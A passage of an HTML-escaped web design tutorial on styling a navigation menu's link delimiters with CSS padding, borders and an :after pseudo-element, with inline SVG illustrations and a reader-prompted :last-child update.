0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752V28.6c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.048c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.008-1.68l1.168-1.088v-2.144c0-.032-.016-.048-.048-.048h-1.28c-.032 0-.048.016-.048.048v2.08c0 .032-.016.048-.048.048h-1.584c-.043 0-.064-.016-.064-.048V18.92c0-.203.04-.395.12-.576.08-.18.187-.34.32-.472.133-.133.293-.237.48-.312.187-.075.387-.112.6-.112h1.76c.213 0 .413.037.6.112.187.075.347.18.48.312.133.133.24.29.32.472.08.18.12.373.12.576v1.984c0 .213-.085.39-.256.528l-1.2 1.088c-.01.01-.01.016 0 .016h1.28c.117 0 .176.085.176.256v4.384c0 .203-.04.395-.12.576-.08.18-.187.34-.32.472-.133.133-.293.237-.48.312-.187.075-.38.112-.584.112h-1.776c-.213 0-.41-.037-.592-.112-.18-.075-.34-.18-.48-.312-.14-.133-.248-.29-.328-.472-.08-.18-.12-.373-.12-.576v-2.32c0-.043.02-.064.064-.064h1.584c.032 0 .048.02.048.064v2.32c0 .01.016.032.048.064h1.28c.032-.01.048-.032.048-.064v-3.472c0-.032-.01-.048-.032-.048h-1.104c-.02 0-.032-.005-.032-.016v-1.504zm35.168 5.024c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.48c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6V28.6c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752V28.6c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.048c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.92.128v-5.232c-.075.213-.165.488-.272.824-.107.336-.216.693-.328 1.072-.112.38-.227.76-.344 1.144-.117.384-.224.73-.32 1.04-.096.31-.173.563-.232.76-.06.197-.088.296-.088.296-.02.064-.01.096.032.096h1.552zm1.568-6.48c.032 0 .048.02.048.064v11.088c0 .032-.016.048-.048.048h-1.52c-.032 0-.048-.016-.048-.048v-3.408h-3.184c-.02 0-.032-.01-.032-.032v-1.224c0-.027.005-.056.016-.088l2.064-6.416 2.704.016z&quot; fill=&quot;#FFF&quot;/&gt;&lt;path d=&quot;M138 33.167h30.012&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;h3&gt;Delimiter should be same height as text with equal horizontal spacing&lt;/h3&gt;
&lt;p&gt;If you followed along during that long interlude about the box model, you&apos;d realise that this is quite tricky. Because we want the delimiter to be the same height as the text, we can&apos;t just apply a right border to the link box and call it a day (**glares at designer** ). How about applying the border to the &lt;code&gt;span&lt;/code&gt; instead? Keep in mind that the box model goes content, then padding, then border, then margin. Padding will extend the content, but margin will not.&lt;/p&gt;
&lt;p&gt;Applying a white 1 px right border to the &lt;code&gt;span&lt;/code&gt; displays a delimiter that kisses the text (it is the right height, though). Okay, let&apos;s put in some right padding on the &lt;code&gt;span&lt;/code&gt; as well. But padding also means that the underline will extend beyond the length of the text, not to mention it adds to the existing padding from the &lt;code&gt;a&lt;/code&gt; already &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Well, that didn&apos;t come out right&lt;/figcaption&gt;
  &lt;svg width=&quot;370&quot; height=&quot;47&quot; viewBox=&quot;0 0 370 47&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#000&quot; d=&quot;M0 0h370v47H0z&quot;/&gt;&lt;path d=&quot;M154 34.167h43.5&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path d=&quot;M24.056 27.512c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064H20.12c-.043 0-.064-.02-.064-.064V17.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H37.64c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.872 4.8c0 .032-.02.048-.064.048h-1.84c-.032 0-.048-.016-.048-.048v-9.6h-1.008c-.032 0-.048-.02-.048-.064V17.88c0-.043.016-.064.048-.064h2.896c.043 0 .064.02.064.064v11.088zm39.952-1.456c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm12.448 4.816c0 .032-.02.048-.064.048h-5.408c-.02 0-.032-.016-.032-.048v-1.632c0-.064.01-.128.032-.192.075-.117.213-.344.416-.68.203-.336.44-.725.712-1.168.272-.443.555-.907.848-1.392.293-.485.563-.928.808-1.328.245-.4.448-.733.608-1l.24-.4c.02-.02.032-.043.032-.064v-1.824c0-.032-.016-.048-.048-.048h-1.392c-.032 0-.048.016-.048.048v2.24h-1.584V19.32c0-.203.037-.395.112-.576.075-.18.176-.34.304-.472.128-.133.28-.24.456-.32.176-.08.37-.12.584-.12H116.504c.427 0 .77.144 1.032.432.26.288.392.635.392 1.04v2.448c0 .053-.01.1-.032.144 0 .01-.083.152-.248.424-.165.272-.373.61-.624 1.016l-.808 1.312-.808 1.32c-.25.41-.46.752-.632 1.024-.17.272-.256.413-.256.424-.02.02-.027.04-.016.056.01.016.027.024.048.024h2.064v-1.744c0-.032.016-.048.048-.048h1.376c.043 0 .064.016.064.048v3.232zm39.696-1.472c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048H162.6c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.008-1.68l1.168-1.088v-2.144c0-.032-.016-.048-.048-.048h-1.28c-.032 0-.048.016-.048.048v2.08c0 .032-.016.048-.048.048h-1.584c-.043 0-.064-.016-.064-.048v-2.064c0-.203.04-.395.12-.576.08-.18.187-.34.32-.472.133-.133.293-.237.48-.312.187-.075.387-.112.6-.112h1.76c.213 0 .413.037.6.112.187.075.347.18.48.312.133.133.24.29.32.472.08.18.12.373.12.576v1.984c0 .213-.085.39-.256.528l-1.2 1.088c-.01.01-.01.016 0 .016h1.28c.117 0 .176.085.176.256v4.384c0 .203-.04.395-.12.576-.08.18-.187.34-.32.472-.133.133-.293.237-.48.312-.187.075-.38.112-.584.112h-1.776c-.213 0-.41-.037-.592-.112-.18-.075-.34-.18-.48-.312-.14-.133-.248-.29-.328-.472-.08-.18-.12-.373-.12-.576v-2.32c0-.043.02-.064.064-.064h1.584c.032 0 .048.02.048.064v2.32c0 .01.016.032.048.064h1.28c.032-.01.048-.032.048-.064v-3.472c0-.032-.01-.048-.032-.048h-1.104c-.02 0-.032-.005-.032-.016v-1.504zm42.688 5.024c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.92.128v-5.232c-.075.213-.165.488-.272.824-.107.336-.216.693-.328 1.072-.112.38-.227.76-.344 1.144-.117.384-.224.73-.32 1.04-.096.31-.173.563-.232.76-.06.197-.088.296-.088.296-.02.064-.01.096.032.096h1.552zm1.568-6.48c.032 0 .048.02.048.064v11.088c0 .032-.016.048-.048.048h-1.52c-.032 0-.048-.016-.048-.048V25.56h-3.184c-.02 0-.032-.01-.032-.032v-1.224c0-.027.005-.056.016-.088l2.064-6.416 2.704.016z&quot; fill=&quot;#FFF&quot;/&gt;&lt;path d=&quot;M63 16v16M130 16v16M198 16v16&quot; stroke=&quot;#FFF&quot; stroke-width=&quot;1.35&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;h2&gt;Step 2: Style the navigation to match design (Attempt 3)&lt;/h2&gt;
&lt;p&gt;Third time&apos;s the charm (otherwise I might throw my keyboard out the window...just kidding). But we&apos;ve learnt a lot from all those previous missteps. We now know we probably shouldn&apos;t use the &lt;code&gt;span&lt;/code&gt; to handle the delimiter. There is one more thing we can use though, the &lt;code&gt;:after&lt;/code&gt; pseudo-element. Pseudo-elements are mainly used for styling purposes, which suits the situation well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem 0rem 1rem 1rem;
  &amp;amp;:after {
    content: &amp;quot;&amp;quot;;
    display: inline-block;
    vertical-align: middle;
    width: 1px;
    height: 1rem;
    border-right: 1px solid white;
    margin-left: 1rem;
  }
  &amp;amp;:hover span {
    border-bottom: 2px solid white;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pseudo-elements are inline by default, so we set &lt;code&gt;display: inline-block&lt;/code&gt; to allow us to style it accordingly. Because the pseudo-elements are inserted before or after the &lt;em&gt;content&lt;/em&gt; of the element, a margin on the pseudo-element becomes an extension of the content of the element itself. So this additional space is still a clickable area.&lt;/p&gt;
&lt;p&gt;The final touch is to remove the right padding on the &lt;code&gt;a&lt;/code&gt; to compensate for the left margin on the pseudo-element. And we&apos;re finally done!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update (@ 21 Feb 2016):&lt;/em&gt;&lt;/strong&gt; &lt;a href=&quot;http://11bits.es/&quot;&gt;Carlos Tur Arrom&lt;/a&gt; kindly pointed out that I forgot to remove the delimiter on the last link. To do that, we&apos;ll have to catch the last list item and remove the content in the &lt;code&gt;:after&lt;/code&gt; pseudo-element from it. Instead of adding an additional class, I chose to use the &lt;code&gt;:last-child&lt;/code&gt; pseudo-class.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;li {
  display: inline-block;
  &amp;amp;:last-child a:after {
    border-right: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the event I have to add additional links to the menu in future, the code will still be valid. Anyway, thanks to Carlos&apos; sharp eye for noticing! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grinning face with smiling eyes&quot;&gt;😁&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This took a while to get too =_=&lt;/figcaption&gt;
  &lt;svg width=&quot;370&quot; height=&quot;47&quot; viewBox=&quot;0 0 370 47&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#000&quot; d=&quot;M0 0h370v47H0z&quot;/&gt;&lt;path d=&quot;M22.056 25.512c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064H18.12c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184H35.64c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.872 4.8c0 .032-.02.048-.064.048h-1.84c-.032 0-.048-.016-.048-.048v-9.6h-1.008c-.032 0-.048-.02-.048-.064V15.88c0-.043.016-.064.048-.064h2.896c.043 0 .064.02.064.064v11.088zm14.56-.016c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048L60.952 15.8c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064H80.92c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064H80.84c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048H95.56c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048H93c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm12.448 4.816c0 .032-.02.048-.064.048h-5.408c-.02 0-.032-.016-.032-.048v-1.632c0-.064.01-.128.032-.192.075-.117.213-.344.416-.68.203-.336.44-.725.712-1.168.272-.443.555-.907.848-1.392.293-.485.563-.928.808-1.328.245-.4.448-.733.608-1l.24-.4c.02-.02.032-.043.032-.064v-1.824c0-.032-.016-.048-.048-.048H104.6c-.032 0-.048.016-.048.048v2.24h-1.584V17.32c0-.203.037-.395.112-.576.075-.18.176-.34.304-.472.128-.133.28-.24.456-.32.176-.08.37-.12.584-.12H106.248c.427 0 .77.144 1.032.432.26.288.392.635.392 1.04v2.448c0 .053-.01.1-.032.144 0 .01-.083.152-.248.424-.165.272-.373.61-.624 1.016l-.808 1.312-.808 1.32c-.25.41-.46.752-.632 1.024-.17.272-.256.413-.256.424-.02.02-.027.04-.016.056.01.016.027.024.048.024h2.064v-1.744c0-.032.016-.048.048-.048h1.376c.043 0 .064.016.064.048v3.232zm14.304-.032c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048l-.032-11.152c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752v3.456c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V15.4c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.008-1.68l1.168-1.088v-2.144c0-.032-.016-.048-.048-.048h-1.28c-.032 0-.048.016-.048.048v2.08c0 .032-.016.048-.048.048h-1.584c-.043 0-.064-.016-.064-.048v-2.064c0-.203.04-.395.12-.576.08-.18.187-.34.32-.472.133-.133.293-.237.48-.312.187-.075.387-.112.6-.112h1.76c.213 0 .413.037.6.112.187.075.347.18.48.312.133.133.24.29.32.472.08.18.12.373.12.576v1.984c0 .213-.085.39-.256.528l-1.2 1.088c-.01.01-.01.016 0 .016h1.28c.117 0 .176.085.176.256v4.384c0 .203-.04.395-.12.576-.08.18-.187.34-.32.472-.133.133-.293.237-.48.312-.187.075-.38.112-.584.112H163.8c-.213 0-.41-.037-.592-.112-.18-.075-.34-.18-.48-.312-.14-.133-.248-.29-.328-.472-.08-.18-.12-.373-.12-.576v-2.32c0-.043.02-.064.064-.064h1.584c.032 0 .048.02.048.064v2.32c0 .01.016.032.048.064h1.28c.032-.01.048-.032.048-.064v-3.472c0-.032-.01-.048-.032-.048h-1.104c-.02 0-.032-.005-.032-.016v-1.504zm17.296 6.464c-.01.02-.016.035-.016.04 0 .005-.01.008-.032.008h-1.28c-.043 0-.064-.016-.064-.048l-.032-11.152c0-.032.02-.048.064-.048h1.232c.043 0 .07.016.08.048l.048 11.152zm17.136-1.44c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V15.832c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6v6.336c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 